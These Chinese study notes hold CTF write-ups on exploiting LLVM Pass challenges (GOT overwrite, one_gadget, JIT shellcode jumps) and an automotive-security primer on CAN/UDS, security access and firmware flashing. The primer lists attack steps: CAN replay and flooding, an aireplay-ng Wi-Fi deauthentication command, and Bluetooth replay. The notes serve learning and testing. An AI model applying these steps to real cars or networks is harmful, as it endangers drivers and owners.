函数会对exp.ll
中的函数进行一个对应的解析操作。比如遍历exp.ll
中的函数,如果调用了add
函数,就获取add
函数的第一个参数a1
,依据a1
的值对全局变量p
指针进行加操作,其他的依据write
函数什么的进行写操作从而造成任意写漏洞等等。
具体的可以看:[原创] LLVM PASS PWN 总结-Pwn-看雪-安全社区|安全招聘|kanxue.com
分析VMPass.so
,Alt+T
搜索一下vtable
,找到最后一个函数即为runOnFunction
进入查看进行分析,如果有函数o0o0o0o0
,则进入sub_6AC0
进行处理
然后在sub_6AC0
函数中在进行循环分析,对每个基本块进行了遍历处理,处理函数为sub_6B80
进入sub_6B80
函数,大致分析一下
1 | __int64 __fastcall sub_6B80(__int64 a1, llvm::BasicBlock *a2) |
总体总结如下,pop
和push
与漏洞没什么关系
1 | store: |
相当于现在可控任意两个指针reg1/reg2
,并且可以取其中一个指针的值赋值给另一个指针。
先写一下简单程序调试一下,由于题目给的是opt-8
,所以最好我们安装的也是对应版本的,即
1 | sudo apt install clang-8 |
对应的调试程序为
1 | void add(int num, long long val); |
使用命令clang-8 -emit-llvm -S myDebug.c -o myDebug.ll
编译生成myDebug
,随后在IDA
进行远程调试,如下配置
即可进行调试,通过调试可以想出利用步骤如下
1 | reg1 = 0 |
checksec
一下opt
,一般不存在PIE
,那么指向opt
程序的got
表就很轻松了,最终exp
如下
1 | void store(int a); |
使用命令编译后运行即可
1 | clang-8 -emit-llvm -S myExp.c -o myExp.ll |
需要注意的是,这里修改的是opt
程序中的free_got
,也需要程序opt
程序调用才行,同时满足一些寄存器的设置,那么有时候可能不太满足One_gadget
,那么多试试几个got
也行。另外IDA
远程调试的时候一些偏移可能有点问题,最好还是在gdb
中寻找,使用如下命令
1 | gdb ./opt-8 |
同时有时候从opt-8
开始的时候不好确定加载的.so
是在什么时候加载的,通常是winmt
师傅找到的如下情况
分析漏洞,老套路,搜索vtable
和start
函数,得到runOnFunction
函数和位置注册名为SAPass
,进入分析
进入runOnFunction进行分析,首先是获取到解析的函数名称,这是硬编码的小端序
那么实际匹配的函数名称应该为B4ckDo0r
,之后就有一堆奇奇怪怪的代码,暂时先不用管,仔细寻找字符串匹配的
再简单写一个例子,通过调试进行分析,可以确定大致的函数名称、参数对应的模板如下
1 | void save(char *a, char *b); |
在调试过程中发现涉及到堆,但是IDA
不太好查看堆的结构,可以用一下插件:danigargu/heap-viewer: IDA Pro plugin to examine the glibc heap, focused on exploit development (github.com)
最终发现那一堆乱七八糟的代码都是一些检查,最终的函数大致功能如下
1 | save: |
那么申请残留libc
的chunk
,修改残留的libc
地址为one_gadget
即可,然后run
即可完成利用,在save
的malloc
之前下断点,查看堆状态
tcache
有一个0x20
的chunk
,随后就会从smallbins
中申请,那么申请两次之后,得到残留libc
的chunk
,然后使用stealkey
将残留libc
赋值给byte_204100
,之后又使用fakekey
进行修改将byte_204100
的残留libc
进行加减操作得到one_gadget
,赋值给*byte_2040f8
,通过run
调用*byte_2040f8
即可调用到one_gadget
。
最终exp
如下
1 | // clang-8 -emit-llvm -S exp.c -o exp.ll |
直接shift+F12
查看字符串,发现flag
,交叉引用进入查看
sub_C650
查看是注册函数,依照惯例注册名应该为ayaka
通过vtable
找到runOnFunction
处理函数为gamestart
,分析找到内部处理函数有fight
,并且满足score
达成目标之后可以调用到后门,
那么主要分析点就是如何操作的score
以及cmd
如何赋值。经过分析,重点的漏洞在else
分支
在else
分支中,不满足以上所有函数的匹配的其他函数,会进入该分支,遍历funMap
,如果funMap
中存在对应关系funMap[func_name] = value
,则作weaponlist[idx] = value
操作,如果不存在,则添加对应关系funMap[func_name] = value
这里的idx
是char
型的,在每一次进入else
分支都会进行遍历funMap
的,那么funMap
中如果存在很多项,导致匹配到某个已存在的函数时,idx
在-128~-1
之间,那么就会导致weaponlist
数组向上溢出了,从而能够覆盖到在weaponlist
上方的score
和cmd
,完成劫持利用。
那么就通过计算生成对应idx
的函数进行覆盖即可,cmd
可以让其指向opt
程序中sh
的指针,最终winmt
师傅的exp
如下
1 | // clang-8 -emit-llvm -S exp.c -o exp.ll |
常见的找到处理函数runOnFunction
和注册名mba
,函数名称没有限定,任意函数都可以。
首先是给this[4]
可写可执行权限,然后进入handle
对其进行操作
在handle
里面针对基本块的操作数的属性(常量/函数参数/本地变量),来调用对应的函数对this
进行修改
arg0
为常量:
this[12]
赋值为0
writeMovImm64(this, 0, SExtValue)
:
写入this[5]
指针对应内容为\x48\xB8 + a3
,这个a3
即为基本块的操作数 ,随后this[5]
对应指针+10,相当于一次修改10个字节,对应汇编语句为
write(this)
:
写入this[5]
指针对应内容为\xc3
,对应汇编为ret
总的来说就是写入(\x48\xB8 + a3)
再写入\xc3
arg0
为函数参数:
this[12]
赋值为1,通过上述分析可知,写入this[5]
的数据为(\x48\xB8\x00).ljust(10,'\x00') + \xc3
,对应汇编为
arg0
为本地变量:
首先是写入movavs rax,0
,然后this[12]
赋值为0,stackLLvmValueVar
压入操作符,stackIntVar
压入1,进入循环,直到写入0xff0
字节后跳出循环
while
循环
经过一些判断,代表只对操作符为\xd
和\xf
的进行操作,查LLVM
定义的表为add
和sub
指令有效。
arg0
为常量,且为1或-1时,调用writeInc
函数
stackIntVar_top*arg0
为1时,写入inc rax
stackIntVar_top*arg0
不为1时,写入dec rax
arg0
为常量不为1或-1时,调用writeMovImm64
函数,写入\x48\xbb + arg0*stackIntVar_top
调用writeOpReg
函数,写入\x48\x01\xd8
,即为add rax,rbx
arg0
为函数参数时,this[12]
赋值为stackIntVar_top
arg0
为变量时,将arg0
放入stackLLvmValueVar
,stackIntVar_top
放入stackIntVar
指令为sub
时,stackIntVar_top = -stackIntVar_top
arg1
为常量时,且为1或-1时,调用writeInc
函数
stackIntVar_top
为1时,写入inc rax
stackIntVar_top
不为1时,写入dec rax
arg0
为常量不为1或-1时,调用writeMovImm64
函数,写入\x48\xbb + arg0*stackIntVar_top
调用writeOpReg
函数,写入\x48\x01\xd8
,即为add rax,rbx
arg1
为函数参数时,this[12]
赋值为stackIntVar_top
arg1
为本地变量时 ,将arg1
放入stackLLvmValueVar
,stackIntVar_top
放入stackIntVar
跳出while
循环后对栈进行析构操作
退出handle
函数后,会赋予this[4]
可读可执行的权限,并且进入callCode
进行执行。
这里注意一下this[4]
和this[5]
最开始存放的是同一个指针,所以我们写入的地方就是this[4]
存放的指针位置处。
漏洞点发生在整体的逻辑上,调试可知,最开始的this[4]
是本身完全被初始化为ret
指令,并且长度超过0xff0
,那么当通过while
循环写入超过0xff0
长度的指令时
那么无论最后有没有被写入ret
再退出循环,都会存在ret
指令,从而安全退出,执行到下一个函数进行解析。这样就可以在第一个函数中超出0xff0
长度写入jmp
指令,使用形如add var,con
形式如下
1 | 0xff0 mov raxabs,xx |
其中yyyy
数据的0xffe
地址开始处就包含jmp
指令
第二个函数中写入
1 | 0xff0 mov raxabs,xx |
这样总的就是
1 | 0xff0 mov raxabs,xx |
顺利绕过末尾补ret
进入jmp
跳转。
随后通过之前的mov raxabs,xxxx
中的xxxx
八个字节,完成赋值加连环跳转的工作,从而执行真正的shellcode
就直接用winmt
师傅的exp
了
[原创] LLVM PASS PWN 总结-Pwn-看雪-安全社区|安全招聘|kanxue.com
需要注意的是,由于使用的只能是add/sub
指令,所以需要通过空函数的exp.c
生成exp.ll
,然后再在里面补充对应的add
指令即可
1 | ; ModuleID = 'exp.c' |
getName()
函数用于获取当前runOnFunction
正处理的函数名
第一个for
循环是对当前处理的函数中的基本块(比如一些条件分支语句就会产生多个基本块,在生成的ll
文件中,不同基本块之间会有换行)遍历,第二个for
循环是对每个基本块中的指令遍历
getOpcodeName()
函数用于获取指令的操作符的名称,
getNumOperands()
用于获取指令的操作数的个数,
getOpcode()
函数用于获取指令的操作符编号,在/usr/include/llvm-xx/llvm/IR/Instruction.def
文件中有对应表,56
号对应着Call
这个操作符:
getCalledFunction()
函数用于获取被调用的函数名称,即当在一个A
函数中调用了B
函数,在LLVM IR
中,A
会通过Call
操作符调用B
,getCalledFunction()
函数就是用于获取此处B
函数的名称
getOperand(i)
是用于获取第i
个操作数(在这里就是获取所调用函数的第i
个参数),getArgOperand()
函数与其用法类似,但只能获取参数,getZExtValue()
即get Zero Extended Value
,也就是将获取的操作数转为无符号扩展整数
最内层for
循环中的instIter->getNumOperands()-1
,这里需要-1
是因为对于call
和invoke
操作符,操作数的数量是实际参数的个数+1
(因为将被调用函数本身也当成了操作数)
if (isa<ConstantInt>(call_inst->getOperand(i)))
这行语句是通过isa
判断当前获取到的操作数是不是立即数(ConstantInt
)
static RegisterPass<Hello> X("Hello", "Hello World Pass");
中的第一个参数就是注册的PASS
名称
getTerminator()
是取基本块中末尾的指令
llvm::isa<llvm::Constant,llvm::Value *>(&Operand) & 1
判断操作数operand
是否为常数。
llvm::isa<llvm::Argument,llvm::Value *>(&Operand) & 1
判断操作数operand
是否为函数参数。
自定义函数,类似这种anonymous namespace
基本都是出题人自定义的函数,这种是没有去除符号显示出来的。
1 | //v10 版本 |
网络内的节点个数在理论上不受限制,可在各节点之间实现自由通信
通过高低电压来传输0、1,有两条线可以传输电压信息,分别为CAN高(CAN_H)和CAN低(CAN_L)。
电压 | 电压 | |
---|---|---|
CAN_H | 2.5V | 3.5V |
CAN_L | 2.5V | 1.5V |
传输信号 | 1(隐式) | 0(显式) |
差分电压CAN_diff = 0V,表示逻辑“1”,为隐性;
差分电压CAN_diff = 2V,表示逻辑“0”,为显性;
主要关注数据场。
还有CANFD是基于CAN协议的扩展协议
具体协议如下
02 10 01 00 00 00 00 00
,即第一个字节为02
,高四位为0
,代表单帧,低四位为2
,代表数据长度为2
,即为后面的10 01
。1
时,代表这是多帧数据传输的第一帧,数据域的第一个字节的低四位与第二个字节代表数据帧的长度。比如一个CAN
帧10 14 2E F1 90 01 02 03
,即第一个字节为10
,高四位为1
,代表这是多帧数据传输的第一帧,低四位为0
,加上第二个字节14
,那么代表该次多帧传输会传输0x014
个字节,后面的2e f1 90 01 02 03
即为传输的有效数据,一直到不为连续帧,中间的即为总的0x014
个字节数据。2
,第一个字节的低四位为连续帧的编号。比如一个CAN
帧21 04 05 06 07 08 09 0A
,即第一个字节为21
,高四位为2
,代表这是连续帧,低四位为1
,代表这是连续帧中编号为1
的连续帧,后面的04 05 06 07 08 09 0a
即为传输的数据。3
。该协议属于应用层协议,对应国标为ISO 15031-5,定义了10种模式
ISO 15031-6
。比如请求车架号的CAN
帧,所属模式为09
,信息类型为02
,消息长度为02
,那么单帧传输,实际请求数据的CAN帧为
02 09 02 00 00 00 00 00
返回的数据为
1 | 10 14 49 02 01 31 47 31 |
其中首帧中49
即为针对09
的正响应。
可参考:ISO 14229_小趴菜_自动驾驶搬砖人的博客-CSDN博客
通过对数据场的各个字节判断来得到相关的指令
其他的后续理解
大致的服务如下,主要用到的是具有背景颜色的部分
注:特殊的NRC-0x78,不太懂
Diagnostic Session Control服务
0x10包含3个子功能,01 Default默认会话,02 Programming编程会话,03 Extended扩展会话,ECU上电时,进入的是默认会话(Default),通过会话模式来进行权限控制。当进入一个非默认会话模式,就会有定时器开始计时,一段时间没有请求,时间限制到了就退回到默认会话01。有一个0x3E服务可以使得诊断保持在非默认会话状态。
ECU当中有很多数据是整车厂独有的,并不希望开放给所有客户,它需要做一个保密的设定。在读取一些特殊数据的时候,要先进行一个安全解锁。ECU上电之后是一个锁定的状态(Locked),通过0x27服务,加上一个子服务,再加上一个钥匙,这样的服务请求可以进行解锁。具体的形式如下,这里的n具体情况具体设置。
比如n=1的情况,即2n-1=1,子服务为0x01,如下所示,其中AA~DD即为种子Seed
具体的例子如下
1 | 例子: |
加密算法主要有三个主体:
第一个主体seed,通常与ECU的运行时间有关系,是主料,在27服务发送奇数子功能时回复。seed通常一直在发生变化,无法发现其规律。
第二个主体通常和ECU有关。比如我们先用22服务读取ECU的SN,取其中4个字节,作为“调味料”参与,显然这个“调味料”对于这个ECU来说是不变的,也能通过22服务方便的读取到。
第三个主体是执行次数,就是算法要执行几轮。执行1轮和2轮得到的结果肯定是不一样的
举个简单的算法,比如seed和ECU的SN数据的前4个字节加一下,循环左移两位,执行3轮,return这个数作为key,结束。安全验证就是一把锁,算法越复杂,短时间解开的成本越高,越不易被破解掉。如果失败次数过多还会触发惩罚机制,一段时间内都无法再尝试解锁,防止人为的破解。
Request(请求):22+DID(Data Identifier,通常是两个字节,代表要读取的数据标识符)
Response(响应):62+DID+Data(其中Data即为返回的数据)
实际的例子如下
1 | 03 22 F1 86 AA AA AA AA |
这里的01即为返回的数据Data
其中DID有一部分已经被ISO 14229-1规定了。比如0xF186就是当前诊断会话数据标识符,0xF187就是车厂备件号数据标识符,0xF188就是车厂ECU软件号码数据ID,0xF189就是车厂ECU软件版本号数据标识符。
协议如下
02 10 01 00 00 00 00 00
,即第一个字节为02
,高四位为0
,代表单帧,低四位为2
,代表数据长度为2
,即为后面的10 01
。1
时,代表这是多帧数据传输的第一帧,数据域的第一个字节的低四位与第二个字节代表数据帧的长度。比如一个CAN
帧10 14 2E F1 90 01 02 03
,即第一个字节为10
,高四位为1
,代表这是多帧数据传输的第一帧,低四位为0
,加上第二个字节14
,那么代表该次多帧传输会传输0x014
个字节,后面的2e f1 90 01 02 03
即为传输的有效数据,一直到不为连续帧,中间的即为总的0x014
个字节数据。2
,第一个字节的低四位为连续帧的编号。比如一个CAN
帧21 04 05 06 07 08 09 0A
,即第一个字节为21
,高四位为2
,代表这是连续帧,低四位为1
,代表这是连续帧中编号为1
的连续帧,后面的04 05 06 07 08 09 0a
即为传输的数据。3
。实际的例子如下
1 | 10 14 2E F1 90 01 02 03 |
总共5个帧,一帧一帧的看
第一帧:10 14 2E F1 90 01 02 03
[10 14]:根据ISO15765-2标准0x10代表这是一组多帧中的首帧(属于传输层的信息),一会要发0x14=20个字节的有效数据。
[2E F1 90]:2E为写入服务,F190为DID,即为VIN码
[01 02 03]:这是将要写入VIN码的数据,为第1字节到第3字节
代表想将这三个字节写入到VIN码数据,这件事情正常是发生在车辆下线时。
第二帧:30 00 0A AA AA AA AA AA
第三帧:21 04 05 06 07 08 09 0A
第四帧:22 0B 0C 0D 0E 0F 10 11
第五帧:03 6E F1 90 AA AA AA AA
注:对于0xF190等DID不支持直接写入数据的,需要用0x10服务来进行会话转换。也就是说,对于写数据的请求,一般来说需要在一个扩展会话,和安全等级1的状态下才能进行。
DTC(diagnostic trouble code):如果系统检测到了一个错误,它将存储为DTC。DTC可表现为:一个显而易见的故障;通讯信号的丢失(不会使故障灯亮起);排放相关的故障;安全相关的错误等。DTC可以揭示错误的位置和错误类型,通常占用3个字节。一个DTC信息占用4个字节。最后一个字节是DTC的状态,不是错误信息的一部分。
比如”U31 2345”这个故障码:U就是11,31就是110001,所以第一个字节即为11110001=F1,那么这个DTC就是 F1 23 45 09,其中09表示的是状态掩码。
19拥有28个子服务(Sub-Function),常用的有:
01 (读取符合掩码条件的DTC数量)(必须支持)
后面的字节表示DTC状态掩码,若为01表示我想读当前故障,若为08表示我想读历史故障,若为09表示当前故障和历史故障都想读。
在肯定回复时,帧为59 01 09 01 00 01 XX,组合应该是59(19+40) - 01(子服务) - 09 (本ECU所支持的掩码条件)- 01 DTC的格式(ISO14229-1为01) - 00 01 (目前满足条件的DTC有一个)
02(读取符合掩码条件的DTC列表及其状态)(必须支持),后面的字节表示DTC状态掩码,解读同上。
肯定回复时,帧为59 02 09 xx xx xx 01,59 - 02(子功能)- 09(本ECU所支持的掩码条件) - XX XX XX ( DTC,车厂定义 ) - 01 (这个故障码怎么了,01表示当前故障)
04(读取快照信息),也叫冻结帧。
06(读取扩展信息)。
0A(读取ECU支持的所有DTC列表及其状态)(必须支持)。这个就不必发DTC状态掩码了。所有支持的DTC列表及其状态都会打印出来。
清除(复位)DTC格式,它可以改变DTC的状态。DTC状态中的八个位,除bit4和bit6外均会被清零,包含当前故障(TestFailed)和历史故障(ConfirmedDTC)。bit4和bit6这两个testNotCompleted开头的会被强制置1。3个FF代表清除所有DTC。
Request: 14 FF FF FF AA AA AA
Response:54 AA AA AA AA AA AA
该服务可以通过DID(数据标识符)来进行输入信号的替换和控制零部件负载输出,这是一个用在产线上较多的服务。该报文的请求至少由4个字节组成。第一个字节是2F,第二第三字节是DID,其中第二字节是高位。第四字节是input Output Control Parameter(并不算一个子功能),可以看做IO控制类型。
其中IO控制类型分为4类:
若控制类型是00-02这三种,请求报文是4个字节。若控制类型是03,请求报文的第五字节是控制代码,可以是数字量,比如01是开,00是关;也可以是模拟量,比如空调风门的开度。
例子如下
1 | 05 2F DD DD 03 00 AA AA ----03 00代表关闭开关 |
其中DD代表DID(Data Identifier)数据标识符
CAN总线接入口在主驾驶和副驾驶的OBD口中接入;
OBD-II接口一般位于主驾和副驾的前脚下方。可用OBD-II接口信号转接器将信号转接出来,方便后面使用CAN-USB等硬件来选择接入不同的CAN总线
在ubuntu上新建虚拟的CAN口进行测试
1 | sudo ip link add dev vcan0 type vcan |
然后使用candump,cansend即可
1 | candump vcan0 |
对应的python-can脚本为
1 | import can |
将CAN总线与测试工具相连接,然后通过工具的USB口接入电脑
与该工具匹配的软件是CANPro,需要安装USB_CAN TOOL这款驱动软件,CANpro才能正常运行
与该工具匹配的软件是PCAN-View,需要安装PeakOemDrv这款驱动软件,PCAN-View才 能正常运行。
与该工具匹配的软件同样也叫做CANoe,需要安装对应的驱动
一款安装在kali中的can渗透工具包,包含了许多CAN总线测试工具,比如candump、cansend、cansniffer、canplayer等。
candump can0 –l
命令监听can总线数据并生成数据包canplayer -I candump-xxxx-xx-xx_xxxx.log
:发送监听保存的总线数据包监听捕获can总线数据上的包,特别是控车指令包,再重放,查看车身有无异常响应。
发送大量仲裁包,使总线拒绝服务,不能再单独发数据包
将CANalyst-II接入车身CAN总线,发送大量递归数据包,其中的异常包会使车辆失控,车窗,车灯,雨刷等开始不受控。
连接PCAN,导入.asc文件即可
1 | #!/usr/bin/env python |
然后依次重放每一个包,分析哪个包是指定的包。
专门为汽车开发的低成本串行通信网络,传输速率20Kb/s,通常一个LIN上节点数目小于12个,共有64个标识符
固件通常由bootloader、内核、根文件系统及其他资源组成,根据嵌入式linux、嵌入式windows(WinCE)、windowsIOT内核及各种实时操作系统(RTOS)的区别,固件也有多种类型。
没有车的情况下获取固件
官网提供升级固件
硬件调试接口JTAG获取固件
读取Flash芯片获取固件
通过串口获取车机系统Shell权限,进而对固件进行打包
利用车机固件更新API,从云端获取更新固件
云端信息泄露,如FTP弱口令或未授权接口获取车机固件
(1)车机有wifi功能,通过工程模式开启wifi热点,WiFi→FTP/TFTP→PC
在无线层面获取固件,是最理想的情况,这代表了根源的纯洁,固件还没有刷写入车机,其加密,校验,认证机制都是完整存在。
通常手段如下
(2)通过串口文件传输协议,直接提取固件,Uart→Xmodem/Ymodem/Zmodem→PC
物理层面的获取固件是可行性最大的,使用的硬件道具:jlink,ST-link,RT809,常用手段如下:
使用的硬件道具:jlink,ST-link,RT809
异步文件传输协议。分为标准Xmodem和1k-Xmodem两种,前者以128字节块的形式传输数据,后者字节块为1k即1024字节,并且每个块都使用一个校验和过程来进行错误检测。在校验过程中如果接收方关于一个块的校验和与它在发送方的校验和相同时,接收方就向发送方发送一个确认字节(ACK)。由于Xmodem需要对每个块都进行认可,这将导致性能有所下降,特别是延时比较长的场合,这种协议显得效率更低。
一个完整的数据帧一共132字节,其中包含128字节数据,数据帧以固定3字节帧头开始
Xmodem改良版,它可以一次传输1024字节的信息块,同时还支持传输多个文件。
采用串流传输方式,传输速度最快。Zmodem数据帧:ZPAD + ZDLE + A + frame-type ZF3 ZF2 ZF1 ZF0 CRC-1 CRC-2
ZPAD+ZDLE:帧头
A:报头的数据是二进制格式
frame-type:帧类型
ZF3 ZF2 ZF1 ZF0:4个字节信息
CRC-1 CRC-2:校验和
支持这三种协议的工具分别是minicom和SecureCRT。
通过使用SecureCRT可以直接下载或上传文件,如果芯片系统里存在lrzsz,可以直接用Zmodem进行传输。
使用sz filename
即可开始下载
硬件都会有调试接口,就是Uart。
Uart:通用异步收发传输器,是一种串行异步收发协议,应用十分广泛。Uart工作原理是将数据的二进制位一位一位的进行传输。在UART通讯协议中信号线上的状态位高电平代表’1’低电平代表’0’。当然两个设备使用UART串口通讯时,必须先约定好传输速率,也就是波特率。
典型的波特率有这些:300,1200,2400,9600,19200,38400,115200。(上述波特率并不全)
如果试过每一个波特率还是无法接收到可见字符,可能是两个问题:
找错了串口
可能它本身传输的数据是不可见字符
连接Uart需要三根线,分别是:
TX:发送数据端,要接对面设备的RX
RX:接收数据端,要接对面设备的TX
GND:保证两设备共地,有统一的参考平面
车载无线通讯技术由车载导航模块、车载无线通信模块、安全报警模块、行车状态记录模块、多媒体播放模块、数据采集模块、语音识别模块、地理信息系统模块八部分组成。所有的数据都通过车载信息中心进行处理、协调,并做出正确的反应。
最常见的Wi-Fi安全类型是WEP,WPA和WPA2。
WPA2:带来了另外一系列安全和加密升级,最值得注意的是将高级加密标准(AES)引入消费者Wi-Fi网络。AES比RC4强得多(因为RC4已被多次破解),并且是当前许多在线服务所采用的安全标准。
WPA3:已经推出,目前是最高的安全等级,尚未暴露危险,WPA3为标准增加了更强大的192位加密
1.将无线网卡接入测试电脑Linux虚拟机(装有Aircrack-ng)
2.测试电脑使用Linux虚拟机
3.在kali的命令行中输入ifconfig,查看无线网卡是否成功连接至系统(出现了名为wlan0的无线网卡则是成功连接)
4.使用命令ifconfig wlan0 up启用无线网卡
5.使用命令airmon-ng start wlan0 将网卡设置为监听模式(开启混杂模式才能嗅探所有经过网卡的数据包)
6.使用命令ifconfig查看网卡是否开启监听模式
7.监听模式开启成功后,使用命令airodump-ng wlan0对当前环境的无线网络进行嗅探,根据SSID确认攻击目标,并记录目标MAC(mon0为激活监听模式的无线网卡名称)
8.使用命令aireplay-ng -0 100 –a AP的mac wlan0进行DeAuth攻击(-0 采用deauth攻击模式,100为攻击次数,-a 后跟AP的MAC地址,-c 后跟客户端的MAC地址)
在攻击期间内,目标热点断开即为攻击成功
1、无ping码认证,设备冒充,获取车辆蓝牙连接,导致传输文件,播放音频,获取蓝牙日志存储
2、蓝牙dos攻击,使蓝牙无法连接,功能异常
3、蓝牙重放攻击,蓝牙钥匙控制指令泄露并重放
BtleJuice框架:
BLE-Replay:
除开WIFI和蓝牙,整车还存在射频中继,GPS劫持,或者全频率干扰
车身的各类功能性频率都可以存在漏洞利用,tpms检测干扰,PEPS开车重置,车门钥匙死锁,甚至使板件波形破译,都存在问题
不同厂商的车联网实现架构不同,但总体架构可分为4部分:
信息娱乐系统(IVI):IVI:早期以CD机的形式进行音频播放,在车联网功能推广后,目前的车载娱乐系统可以通过蜂窝网络接入互联网,并提供以下常见功能:实时导航,网页浏览,视频播放,手机投屏,语音控车等。车载信息娱乐系统通常具备一部分CAN总线操控能力,因此车载信息娱乐系统”功能外溢”现象产生的攻击面很可能会导致控车漏洞的产生。
车载网关(TBOX):车载网关(Telematics BOX)。负责车机内部的以太网通信,同时提供联网能力,实现车端与云平台(TSP)的远程长连接。T-BOX具备一定CAN总线的能力,也是数字钥匙(手机控车)的实现载体。通过数字钥匙,用户可以通过手机对车辆进行远程操控(云钥匙)或者近场操控(蓝牙钥匙,NFC钥匙)。其中云钥匙的实现架构如下图所示:
手机端车联网应用(APP):手机端车联网应用程序。多数车联网汽车厂商会向车主提供车联网应用程序,此类APP通常具备以下功能: 车主服务,应用商城,远程控车等。
车联网云平台服务(TSP):车载信息服务提供商(TelematicsServiceProvider)。在车联网系统中以云的形式向用户侧与车辆侧提供以下服务:用户信息维护,车辆定位,状态监控等。
攻击路径:
车联网安全风险:
OBD:On-Board Diagnostics
TBOX
通常是汽车用于联网的模块,又叫T盒、车载无线终端等,国外也称之为TSP(Telematics Control Unit)
远程信息控制单元。上端与TSP(Telematics Services Provider)
服务器相连,下端与CAN
总线等其他汽车模块相连。通常会提供远程控制、车辆故障诊断、OTA升级、网络共享、蓝牙钥匙、载荷分析等功能
通常可以分为三种,分别为天线、通信接口以及电源
通常来说接口有一定的特征,比如天线一般采用FAKRA(FAchKReis Automobil)
连接器,这种连接器一般采用同轴电缆、单线单芯。此外颜色通常也有一定特征,比如蓝色用于GNSS、紫色用于蜂窝网络等
USB
一般采用HSD(High-Speed Data)
连接器,该接口常用于信息娱乐模块和显示装置。
一般分为两种结构,一种是SoC
和通信模组分离,一种是SoC
和通信模组集成在一块。
大部分的TBOX
采用eSIM
卡(电子化的SIM卡),也有普通的SIM
卡
一般TBOX
上有一个MCU
机械控制单元,负责与CAN
总线进行通信
一般的威胁有调试接口、固件提取、车联网服务平台(伪装成TBOX向云端发起攻击)、公网暴露(一些开启了Telnet的TBOX开放在云端)、CAN总线、协议安全
如上TBOX的信息,分析可得为奔驰汽车,制造商为Harman,型号(Model)为HERMES 1.5 CN
。通信方面可知,有蓝牙标签、WIFI模块WLAN-MAC:746FF7091E2E
。
右侧的进网许可也可以在网络上进行查询。
实际摸索把
调试接口,实际摸索
充电桩由TCU(Traiff and Control Unit)
计费控制单元、充电主控模块、功率控制模块、开关电源等等部分组成
如上图所示,通常存在多种接口,包括CAN
、串口、SIM
卡槽等等,可以通过这些接口与其进行交互,常见的TCU
架构如下
其中相关的定义如下
触头编号/标识 | 额定电压和额定电流 | 功能定义 |
---|---|---|
DC+ | 750V/1000V 80A/125A/200A/250A | 直流电源正极,连接直流电源正极与电池正极 |
DC- | 750V/1000V 80A/125A/200A/250A | 直流电源负极,连接直流电源负极与电池负极 |
PE | —– | 保护接地,连接供电设备地线和车辆电平台 |
S+ | 0~330V 2A | 充电通信CAN_H,连接非车载充电机与电动汽车的通信线 |
S- | 0~330V 2A | 充电通信CAN_L,连接非车载充电机与电动汽车的通信线 |
CC1 | 0~330V 2A | 充电连接确认 |
CC2 | 0~330V 2A | 充电连接确认 |
A+ | 0~330V 20A | 低压辅助电源正,连接非车载充电机为电动汽车提供的低压辅助电源 |
A- | 0~330V 20A | 低压辅助电源负,连接非车载充电机为电动汽车提供的低压辅助电源 |
充电机与电池管理系统BMS(Battery Management System)
进行通信时基于CAN
通信协议,速率为250kbit/s
,使用29bit标识符的CAN
扩展帧,通信地址固定,无法更改。充电机地址86(0x56)
,BMS
地址244(F4)
可见GBT-27930-2015
标准规定的具体内容
主要有一下几个方面
实际上测试的时候,由于充电桩使用静态IP,那么电脑与充电桩直连时,无法获取有效的IP,可以用netdiscover
命令进行扫描,对应命令为netdiscover -r 192.168.1.1/16
扫描整个网段即可发现充电桩的相关IP
。
拿到ecu_can_log.asc
文件,是can
信息内容,可以用savvycan
打开查看
接下来一步一步分析
10 02
进入诊断控制会话,请求进入编程会话
1 | 9.498709 1 7DF Tx d 8 02 10 02 AA AA AA AA AA |
正反馈06 50
,允许进入
请求27
安全访问,请求种子,对应子服务为05
,即27 05
1 | 9.740585 1 730 Tx d 8 02 27 05 AA AA AA AA AA |
正反馈06 67 05
,返回种子信息,对应种子信息为11 22 33 44
,大端序,对应0x11223344
通过种子计算,使用双方约定算法计算密钥,发送密钥,对应子服务为06
,尝试进入27
服务
1 | 9.782739 1 730 Tx d 8 06 27 06 EE DD CC BB AA |
依据密钥0xEEDDCCBB
,响应正反馈67 06
,允许进入27
服务
进入27
服务后,发送多帧数据,请求擦除Flash
1 | 9.788131 1 730 Tx d 8 10 0D 31 01 FF 00 44 08 |
10 0D
,代表多帧数据首帧,数据字节数为0xD
个字节,后面的31 01 FF 00 44 08
即为首帧数据。30 08 00...00
,代表多帧数据中控制速率的帧,不用解析21
中的2
代表为多帧数据中的一个帧,1
代表为多帧数据中首帧之后的第一个数据帧,传输数据为00 00 00 00 00 20 00
05 71 01 FF 00 00
,代表针对31 01 FF 00
服务的正反馈总的传输数据为31 01 FF 00 44 08 00 00 00 00 00 20 00
,
31 01 FF 00
其中31
为RoutineControl (0x31)
服务,表示客户端用于执行一系列定义的步骤并获取相关结果,在UDS
诊断协议一节中有对应表格解释。01
为routineControlType RoutineControl Request SID := startRoutine
代表例程控制类型,为启动例程,对应还有02
停止例程,03
请求例程结果。FF 00
表示具体的例程控制服务,功能为内容擦除。详细目录可参考ISO 14229-1-2020
中的Annex F (normative) Routine functional unit data-parameter definitions
一节的Table F.1 — routineIdentifier definition
,提取内容如附录所示。0x44
代表后面的地址和地址字宽都是4
字节08 00 00 00
代表Flash
擦除的起始地址为0x08000000
00 00 20 00
代表需要擦除0x00002000
个字节可参考:跟我学UDS(ISO14229) ———— 0x31(RoutineControl)_小趴菜_自动驾驶搬砖人的博客-CSDN博客
发送多帧数据,请求下载
1 | 9.791765 1 730 Tx d 8 10 0B 34 00 44 08 00 00 |
就不逐帧解析了,服务为34 00
,请求下载ECU
固件,发送的多帧总数据长度为0x0b
,总数据为34 00 44 08 00 00 00 00 00 20 00
,即请求下载ECU
固件到0x08000000
地址处,总计下载0x00002000
字节数据。
可参考:跟我学UDS(ISO14229) ———— 0x34(RequestDownload)_小趴菜_自动驾驶搬砖人的博客-CSDN博客
发送多帧数据,请求数据传输
1 | 9.795696 1 730 Tx d 8 10 82 36 01 28 04 00 20 |
服务为36
,每次多帧传输实际数据为0x80(0x82-0x02)
,总计传输0x40(0x2000/0x80)
次
传输数据完成后,发送37 01
服务,退出数据传输
1 | 10.314499 1 730 Tx d 8 02 37 01 AA AA AA AA AA |
得到正反馈06 77 01
,允许退出
服务为31 01 DF FF
,0xDFFF
为厂商自定义服务
1 | 10.318529 1 730 Tx d 8 04 31 01 DF FF AA AA AA |
这里针对31 01
服务反馈的0x7f
不知道什么意思,后面又正反馈了,不过不影响解题
服务为31 01 FF 01
,检查编程依赖
1 | 10.322633 1 730 Tx d 8 04 31 01 FF 01 AA AA AA |
服务为02 11 01
,对ECU
进行复位
